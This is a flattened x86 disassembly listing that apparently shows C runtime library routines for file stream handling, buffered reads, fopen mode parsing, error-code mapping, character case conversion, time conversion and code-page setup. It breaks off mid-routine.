[ebp+var_4], al push 1 loc_41BE1D: ; CODE XREF: sub_41BDD1+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41EACD add esp, 1Ch test eax, eax jnz short loc_41BE3D leave retn ; --------------------------------------------------------------------------- loc_41BE3D: ; CODE XREF: sub_41BDD1+68j movzx eax, word ptr [ebp+arg_0+2] loc_41BE41: ; CODE XREF: sub_41BDD1+1Cj and eax, [ebp+arg_4] leave retn sub_41BDD1 endp ; =============== S U B R O U T I N E ======================================= sub_41BE46 proc near ; CODE XREF: sub_416D94+2Ap ; sub_41EEE4+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_493F9C jnb loc_41BEE0 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:493E60h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41BEE0 push edi call sub_41ED9C cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BEBF cmp edi, 1 jz short loc_41BE8D cmp edi, 2 jnz short loc_41BEA3 loc_41BE8D: ; CODE XREF: sub_41BE46+40j push 2 call sub_41ED9C push 1 mov ebp, eax call sub_41ED9C pop ecx cmp eax, ebp pop ecx jz short loc_41BEBF loc_41BEA3: ; CODE XREF: sub_41BE46+45j push edi call sub_41ED9C pop ecx push eax call ds:dword_495358 ; CloseHandle test eax, eax jnz short loc_41BEBF call ds:dword_495328 ; RtlGetLastWin32Error mov ebp, eax jmp short loc_41BEC1 ; --------------------------------------------------------------------------- loc_41BEBF: ; CODE XREF: sub_41BE46+3Bj ; sub_41BE46+5Bj ... xor ebp, ebp loc_41BEC1: ; CODE XREF: sub_41BE46+77j push edi call sub_41ED22 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41BEDC push ebp call sub_41C4E8 pop ecx jmp short loc_41BEF1 ; --------------------------------------------------------------------------- loc_41BEDC: ; CODE XREF: sub_41BE46+8Bj xor eax, eax jmp short loc_41BEF4 ; --------------------------------------------------------------------------- loc_41BEE0: ; CODE XREF: sub_41BE46+Ej ; sub_41BE46+2Fj and dword_4927F8, 0 mov dword_4927F4, 9 loc_41BEF1: ; CODE XREF: sub_41BE46+94j or eax, 0FFFFFFFFh loc_41BEF4: ; CODE XREF: sub_41BE46+98j pop edi pop esi pop ebp pop ebx retn sub_41BE46 endp ; =============== S U B R O U T I N E ======================================= sub_41BEF9 proc near ; CODE XREF: sub_416D94+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41BF22 test al, 8 jz short loc_41BF22 push dword ptr [esi+8] call sub_415D6C and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41BF22: ; CODE XREF: sub_41BEF9+Aj ; sub_41BEF9+Ej pop esi retn sub_41BEF9 endp ; =============== S U B R O U T I N E ======================================= sub_41BF24 proc near ; CODE XREF: sub_41BFC4+2Dp ; sub_41BFC4+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41BF36 push esi call sub_41BFC4 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41BF36: ; CODE XREF: sub_41BF24+7j push esi call sub_41BF5F test eax, eax pop ecx jz short loc_41BF46 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41BF46: ; CODE XREF: sub_41BF24+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41BF5B push dword ptr [esi+10h] call sub_41EE76 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41BF5B: ; CODE XREF: sub_41BF24+26j xor eax, eax pop esi retn sub_41BF24 endp ; =============== S U B R O U T I N E ======================================= sub_41BF5F proc near ; CODE XREF: sub_416D94+1Ap ; sub_417E44+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41BFAC test ax, 108h jz short loc_41BFAC mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41BFAC push edi push eax push dword ptr [esi+10h] call sub_41E3D1 add esp, 0Ch cmp eax, edi jnz short loc_41BFA5 mov eax, [esi+0Ch] test al, 80h jz short loc_41BFAC and al, 0FDh mov [esi+0Ch], eax jmp short loc_41BFAC ; --------------------------------------------------------------------------- loc_41BFA5: ; CODE XREF: sub_41BF5F+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41BFAC: ; CODE XREF: sub_41BF5F+14j ; sub_41BF5F+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41BF5F endp ; =============== S U B R O U T I N E ======================================= sub_41BFBB proc near ; CODE XREF: sub_41E68Dp push 1 call sub_41BFC4 pop ecx retn sub_41BFBB endp ; =============== S U B R O U T I N E ======================================= sub_41BFC4 proc near ; CODE XREF: sub_41BF24+Ap ; sub_41BFBB+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_493E40, esi jle short loc_41C022 loc_41BFD5: ; CODE XREF: sub_41BFC4+5Cj mov eax, dword_492AF0 mov eax, [eax+esi*4] test eax, eax jz short loc_41C019 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41C019 cmp [esp+0Ch+arg_0], 1 jnz short loc_41BFFF push eax call sub_41BF24 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41C019 inc ebx jmp short loc_41C019 ; --------------------------------------------------------------------------- loc_41BFFF: ; CODE XREF: sub_41BFC4+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41C019 test cl, 2 jz short loc_41C019 push eax call sub_41BF24 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41C019 or edi, eax loc_41C019: ; CODE XREF: sub_41BFC4+1Bj ; sub_41BFC4+23j ... inc esi cmp esi, dword_493E40 jl short loc_41BFD5 loc_41C022: ; CODE XREF: sub_41BFC4+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41C02D mov eax, edi loc_41C02D: ; CODE XREF: sub_41BFC4+65j pop edi pop esi pop ebx retn sub_41BFC4 endp ; =============== S U B R O U T I N E ======================================= sub_41C031 proc near ; CODE XREF: sub_416DEA+A9p ; sub_417A47+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41C105 test al, 40h jnz loc_41C105 test al, 2 jz short loc_41C057 or al, 20h mov [esi+0Ch], eax jmp loc_41C105 ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41C031+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41C06B push esi call sub_41E57E pop ecx jmp short loc_41C070 ; --------------------------------------------------------------------------- loc_41C06B: ; CODE XREF: sub_41C031+2Fj mov eax, [esi+8] mov [esi], eax loc_41C070: ; CODE XREF: sub_41C031+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41C10A add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41C0F4 cmp eax, 0FFFFFFFFh jz short loc_41C0F4 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41C0C9 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41C0B2 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_493E60[edi*4] lea edi, [edi+ecx*8] jmp short loc_41C0B7 ; --------------------------------------------------------------------------- loc_41C0B2: ; CODE XREF: sub_41C031+6Bj mov edi, offset dword_436130 loc_41C0B7: ; CODE XREF: sub_41C031+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41C0C9 or dh, 20h mov [esi+0Ch], edx loc_41C0C9: ; CODE XREF: sub_41C031+62j ; sub_41C031+90j cmp dword ptr [esi+18h], 200h jnz short loc_41C0E6 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41C0E6 test ch, 4 jnz short loc_41C0E6 mov dword ptr [esi+18h], 1000h loc_41C0E6: ; CODE XREF: sub_41C031+9Fj ; sub_41C031+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41C0F4: ; CODE XREF: sub_41C031+55j ; sub_41C031+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41C105: ; CODE XREF: sub_41C031+Aj ; sub_41C031+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41C031 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C10A proc near ; CODE XREF: sub_416DEA+90p ; sub_41C031+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_493F9C jnb loc_41C2E7 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:493E60h[eax*4] mov eax, dword_493E60[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41C2E7 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41C1BF test dl, 2 jnz short loc_41C1BF test dl, 48h jz short loc_41C17F mov al, [eax+5] cmp al, 0Ah jz short loc_41C17F dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41C17F: ; CODE XREF: sub_41C10A+56j ; sub_41C10A+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call ds:dword_49538C ; ReadFile test eax, eax jnz short loc_41C1D2 call ds:dword_495328 ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41C1BA mov dword_4927F4, 9 mov dword_4927F8, ecx jmp loc_41C2F8 ; --------------------------------------------------------------------------- loc_41C1BA: ; CODE XREF: sub_41C10A+99j cmp eax, 6Dh jnz short loc_41C1C6 loc_41C1BF: ; CODE XREF: sub_41C10A+4Cj ; sub_41C10A+51j xor eax, eax jmp loc_41C2FB ; --------------------------------------------------------------------------- loc_41C1C6: ; CODE XREF: sub_41C10A+B3j push eax call sub_41C4E8 pop ecx jmp loc_41C2F8 ; --------------------------------------------------------------------------- loc_41C1D2: ; CODE XREF: sub_41C10A+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41C2E2 test edx, edx jz short loc_41C1F7 cmp byte ptr [edi], 0Ah jnz short loc_41C1F7 or al, 4 jmp short loc_41C1F9 ; --------------------------------------------------------------------------- loc_41C1F7: ; CODE XREF: sub_41C10A+E2j ; sub_41C10A+E7j and al, 0FBh loc_41C1F9: ; CODE XREF: sub_41C10A+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41C2DC loc_41C211: ; CODE XREF: sub_41C10A+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41C2CC cmp al, 0Dh jz short loc_41C22D mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41C2BE ; --------------------------------------------------------------------------- loc_41C22D: ; CODE XREF: sub_41C10A+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41C24B mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41C242 add [ebp+arg_8], 2 jmp short loc_41C2A0 ; --------------------------------------------------------------------------- loc_41C242: ; CODE XREF: sub_41C10A+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41C2BE ; --------------------------------------------------------------------------- loc_41C24B: ; CODE XREF: sub_41C10A+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_49538C ; ReadFile test eax, eax jnz short loc_41C273 call ds:dword_495328 ; RtlGetLastWin32Error test eax, eax jnz short loc_41C2BA loc_41C273: ; CODE XREF: sub_41C10A+15Dj cmp [ebp+var_C], 0 jz short loc_41C2BA mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41C295 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41C2A0 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41C2BE ; --------------------------------------------------------------------------- loc_41C295: ; CODE XREF: sub_41C10A+176j cmp edi, [ebp+arg_4] jnz short loc_41C2A5 cmp [ebp+var_1], 0Ah jnz short loc_41C2A5 loc_41C2A0: ; CODE XREF: sub_41C10A+136j ; sub_41C10A+17Dj mov byte ptr [edi], 0Ah jmp short loc_41C2BD ; --------------------------------------------------------------------------- loc_41C2A5: ; CODE XREF: sub_41C10A+18Ej ; sub_41C10A+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41CE78 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41C2BE loc_41C2BA: ; CODE XREF: sub_41C10A+167j ; sub_41C10A+16Dj mov byte ptr [edi], 0Dh loc_41C2BD: ; CODE XREF: sub_41C10A+199j inc edi loc_41C2BE: ; CODE XREF: sub_41C10A+11Ej ; sub_41C10A+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41C211 jmp short loc_41C2DC ; --------------------------------------------------------------------------- loc_41C2CC: ; CODE XREF: sub_41C10A+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41C2DC or al, 2 mov [esi], al loc_41C2DC: ; CODE XREF: sub_41C10A+101j ; sub_41C10A+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41C2E2: ; CODE XREF: sub_41C10A+DAj mov eax, [ebp+var_8] jmp short loc_41C2FB ; --------------------------------------------------------------------------- loc_41C2E7: ; CODE XREF: sub_41C10A+12j ; sub_41C10A+39j and dword_4927F8, 0 mov dword_4927F4, 9 loc_41C2F8: ; CODE XREF: sub_41C10A+ABj ; sub_41C10A+C3j or eax, 0FFFFFFFFh loc_41C2FB: ; CODE XREF: sub_41C10A+B7j ; sub_41C10A+1DBj pop edi pop esi pop ebx leave retn sub_41C10A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C300 proc near ; CODE XREF: sub_416FF2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4929F0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41C339 cmp al, 72h jz short loc_41C332 cmp al, 77h jnz loc_41C44D mov ecx, 301h jmp short loc_41C33E ; --------------------------------------------------------------------------- loc_41C332: ; CODE XREF: sub_41C300+21j xor ecx, ecx or esi, 1 jmp short loc_41C341 ; --------------------------------------------------------------------------- loc_41C339: ; CODE XREF: sub_41C300+1Dj mov ecx, 109h loc_41C33E: ; CODE XREF: sub_41C300+30j or esi, 2 loc_41C341: ; CODE XREF: sub_41C300+37j push 1 pop edx loc_41C344: ; CODE XREF: sub_41C300+8Bj ; sub_41C300+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41C433 cmp edx, ebx jz loc_41C433 movsx eax, al cmp eax, 54h jg short loc_41C3D2 jz short loc_41C3C2 sub eax, 2Bh jz short loc_41C3AC sub eax, 19h jz short loc_41C3A2 sub eax, 0Eh jz short loc_41C38D dec eax jnz loc_41C424 cmp [ebp+var_4], ebx jnz loc_41C424 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41C344 ; --------------------------------------------------------------------------- loc_41C38D: ; CODE XREF: sub_41C300+6Fj cmp [ebp+var_4], ebx jnz loc_41C424 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41C344 ; --------------------------------------------------------------------------- loc_41C3A2: ; CODE XREF: sub_41C300+6Aj test cl, 40h jnz short loc_41C424 or ecx, 40h jmp short loc_41C344 ; --------------------------------------------------------------------------- loc_41C3AC: ; CODE XREF: sub_41C300+65j test cl, 2 jnz short loc_41C424 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41C344 ; --------------------------------------------------------------------------- loc_41C3C2: ; CODE XREF: sub_41C300+60j mov eax, 1000h test ecx, eax jnz short loc_41C424 or ecx, eax jmp loc_41C344 ; --------------------------------------------------------------------------- loc_41C3D2: ; CODE XREF: sub_41C300+5Ej sub eax, 62h jz short loc_41C41F dec eax jz short loc_41C408 sub eax, 0Bh jz short loc_41C3F1 sub eax, 6 jnz short loc_41C424 test ch, 0C0h jnz short loc_41C424 or ch, 40h jmp loc_41C344 ; --------------------------------------------------------------------------- loc_41C3F1: ; CODE XREF: sub_41C300+DDj cmp [ebp+var_8], ebx jnz short loc_41C424 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41C344 ; --------------------------------------------------------------------------- loc_41C408: ; CODE XREF: sub_41C300+D8j cmp [ebp+var_8], ebx jnz short loc_41C424 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41C344 ; --------------------------------------------------------------------------- loc_41C41F: ; CODE XREF: sub_41C300+D5j test ch, 0C0h jz short loc_41C42B loc_41C424: ; CODE XREF: sub_41C300+72j ; sub_41C300+7Bj ... xor edx, edx jmp loc_41C344 ; --------------------------------------------------------------------------- loc_41C42B: ; CODE XREF: sub_41C300+122j or ch, 80h jmp loc_41C344 ; --------------------------------------------------------------------------- loc_41C433: ; CODE XREF: sub_41C300+4Aj ; sub_41C300+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41EEE4 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41C451 loc_41C44D: ; CODE XREF: sub_41C300+25j xor eax, eax jmp short loc_41C46B ; --------------------------------------------------------------------------- loc_41C451: ; CODE XREF: sub_41C300+14Bj mov eax, [ebp+arg_C] inc dword_4929E8 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41C46B: ; CODE XREF: sub_41C300+14Fj pop edi pop esi pop ebx leave retn sub_41C300 endp ; =============== S U B R O U T I N E ======================================= sub_41C470 proc near ; CODE XREF: sub_416FF2p mov edx, dword_493E40 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41C4E1 mov ebx, dword_492AF0 mov edi, ebx loc_41C48C: ; CODE XREF: sub_41C470+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41C4A7 test byte ptr [ecx+0Ch], 83h jz short loc_41C4A2 inc eax add edi, 4 cmp eax, edx jl short loc_41C48C jmp short loc_41C4E1 ; --------------------------------------------------------------------------- loc_41C4A2: ; CODE XREF: sub_41C470+26j mov esi, [ebx+eax*4] jmp short loc_41C4CB ; --------------------------------------------------------------------------- loc_41C4A7: ; CODE XREF: sub_41C470+20j mov edi, eax push 20h shl edi, 2 call sub_415CF8 pop ecx mov ecx, dword_492AF0 mov [edi+ecx], eax mov eax, dword_492AF0 mov edi, [edi+eax] cmp edi, ebp jz short loc_41C4E1 mov esi, edi loc_41C4CB: ; CODE XREF: sub_41C470+35j cmp esi, ebp jz short loc_41C4E1 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41C4E1: ; CODE XREF: sub_41C470+12j ; sub_41C470+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41C470 endp ; =============== S U B R O U T I N E ======================================= sub_41C4E8 proc near ; CODE XREF: sub_417025+16p ; sub_417A9E+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4927F8, ecx mov eax, offset dword_435E48 loc_41C4F9: ; CODE XREF: sub_41C4E8+1Ej cmp ecx, [eax] jz short loc_41C51D add eax, 8 inc edx cmp eax, offset byte_435FB0 jl short loc_41C4F9 cmp ecx, 13h jb short loc_41C52A cmp ecx, 24h ja short loc_41C52A mov dword_4927F4, 0Dh retn ; --------------------------------------------------------------------------- loc_41C51D: ; CODE XREF: sub_41C4E8+13j mov eax, dword_435E4C[edx*8] mov dword_4927F4, eax retn ; --------------------------------------------------------------------------- loc_41C52A: ; CODE XREF: sub_41C4E8+23j ; sub_41C4E8+28j cmp ecx, 0BCh jb short loc_41C544 cmp ecx, 0CAh mov dword_4927F4, 8 jbe short locret_41C54E loc_41C544: ; CODE XREF: sub_41C4E8+48j mov dword_4927F4, 16h locret_41C54E: ; CODE XREF: sub_41C4E8+5Aj retn sub_41C4E8 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] add eax, 0FFFFFFE0h retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C557 proc near ; CODE XREF: sub_4172D3+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_49288C, 0 push ebx jnz short loc_41C582 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41C620 cmp eax, 7Ah jg loc_41C620 sub eax, 20h jmp loc_41C620 ; --------------------------------------------------------------------------- loc_41C582: ; CODE XREF: sub_41C557+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41C5B5 cmp dword_435E38, 1 jle short loc_41C5A2 push 2 push ebx call sub_41BDD1 pop ecx pop ecx jmp short loc_41C5AD ; --------------------------------------------------------------------------- loc_41C5A2: ; CODE XREF: sub_41C557+3Dj mov eax, off_435C2C mov al, [eax+ebx*2] and eax, 2 loc_41C5AD: ; CODE XREF: sub_41C557+49j test eax, eax jnz short loc_41C5B5 loc_41C5B1: ; CODE XREF: sub_41C557+AFj mov eax, ebx jmp short loc_41C620 ; --------------------------------------------------------------------------- loc_41C5B5: ; CODE XREF: sub_41C557+34j ; sub_41C557+58j mov edx, off_435C2C mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41C5D8 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41C5E1 ; --------------------------------------------------------------------------- loc_41C5D8: ; CODE XREF: sub_41C557+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41C5E1: ; CODE XREF: sub_41C557+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_49288C call sub_41CC29 add esp, 20h test eax, eax jz short loc_41C5B1 cmp eax, 1 jnz short loc_41C613 movzx eax, [ebp+var_4] jmp short loc_41C620 ; --------------------------------------------------------------------------- loc_41C613: ; CODE XREF: sub_41C557+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41C620: ; CODE XREF: sub_41C557+14j ; sub_41C557+1Dj ... pop ebx leave retn sub_41C557 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C623 proc near ; CODE XREF: sub_4174F2+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41C6DF cmp ebx, 8Ah jg loc_41C6DF push esi push edi mov edi, [ebp+arg_4] mov esi, dword_436564[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41C662 cmp edi, 2 jle short loc_41C662 inc esi loc_41C662: ; CODE XREF: sub_41C623+37j ; sub_41C623+3Cj call sub_41F19D mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_436480 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41C6D5 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41C6DB cmp dword_436484, 0 jz short loc_41C6DB lea eax, [ebp+var_24] push eax call sub_41F410 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41C6DB loc_41C6D5: ; CODE XREF: sub_41C623+90j add ecx, dword_436488 loc_41C6DB: ; CODE XREF: sub_41C623+96j ; sub_41C623+9Fj ... mov eax, ecx jmp short loc_41C6E2 ; --------------------------------------------------------------------------- loc_41C6DF: ; CODE XREF: sub_41C623+13j ; sub_41C623+1Fj or eax, 0FFFFFFFFh loc_41C6E2: ; CODE XREF: sub_41C623+BAj pop ebx leave retn sub_41C623 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C6E5 proc near ; CODE XREF: sub_41CAB9+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41C87E ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_493FA0 mov [ebp+arg_0], esi jz loc_41C872 xor ebx, ebx cmp esi, ebx jz loc_41C868 xor edx, edx mov eax, offset dword_435FB8 loc_41C719: ; CODE XREF: sub_41C6E5+41j cmp [eax], esi jz short loc_41C78F add eax, 30h inc edx cmp eax, offset dword_4360A8 jl short loc_41C719 lea eax, [ebp+var_18] push eax push esi call ds:dword_495468 ; GetCPInfo cmp eax, 1 jnz loc_41C860 push 40h xor eax, eax pop ecx mov edi, offset byte_494140 cmp [ebp+var_18], 1 mov dword_493FA0, esi rep stosd stosb mov dword_494244, ebx jbe loc_41C84E cmp [ebp+var_12], 0 jz loc_41C824 lea ecx, [ebp+var_11] loc_41C76C: ; CODE XREF: sub_41C6E5+139j mov dl, [ecx] test dl, dl jz loc_41C824 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41C77D: ; CODE XREF: sub_41C6E5+A8j cmp eax, edx ja loc_41C818 or byte_494141[eax], 4 inc eax jmp short loc_41C77D ; --------------------------------------------------------------------------- loc_41C78F: ; CODE XREF: sub_41C6E5+36j push 40h xor eax, eax pop ecx mov edi, offset byte_494140 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_435FC8[esi] loc_41C7AB: ; CODE XREF: sub_41C6E5+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41C7DE loc_41C7B2: ; CODE XREF: sub_41C6E5+F7j mov dl, [ecx+1] test dl, dl jz short loc_41C7DE movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41C7D7 mov edx, [ebp+var_4] mov dl, byte_435FB0[edx] loc_41C7CC: ; CODE XREF: sub_41C6E5+F0j or byte_494141[eax], dl inc eax cmp eax, edi jbe short loc_41C7CC loc_41C7D7: ; CODE XREF: sub_41C6E5+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41C7B2 loc_41C7DE: ; CODE XREF: sub_41C6E5+CBj ; sub_41C6E5+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41C7AB mov eax, [ebp+arg_0] mov dword_49402C, 1 push eax mov dword_493FA0, eax call sub_41C8C8 lea esi, dword_435FBC[esi] mov edi, offset dword_494020 movsd movsd pop ecx mov dword_494244, eax movsd jmp short loc_41C86D ; --------------------------------------------------------------------------- loc_41C818: ; CODE XREF: sub_41C6E5+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41C76C loc_41C824: ; CODE XREF: sub_41C6E5+7Ej ; sub_41C6E5+8Bj push 1 pop eax loc_41C827: ; CODE XREF: sub_41C6E5+14Fj or byte_494141[eax], 8 inc eax cmp eax, 0FFh jb short loc_41C827 push esi call sub_41C8C8 pop ecx mov dword_494244, eax mov dword_49402C, 1 jmp short loc_41C854 ; --------------------------------------------------------------------------- loc_41C84E: ; CODE XREF: sub_41C6E5+74j mov dword_49402C, ebx loc_41C854: ; CODE XREF: sub_41C6E5+167j xor eax, eax mov edi, offset dword_494020 stosd stosd stosd jmp short loc_41C86D ; --------------------------------------------------------------------------- loc_41C860: ; CODE XREF: sub_41C6E5+51j cmp dword_492874, ebx jz short loc_41C876 loc_41C868: ; CODE XREF: sub_41C6E5+27j call sub_41C8FB loc_41C86D: ; CODE XREF: sub_41C6E5+131j ; 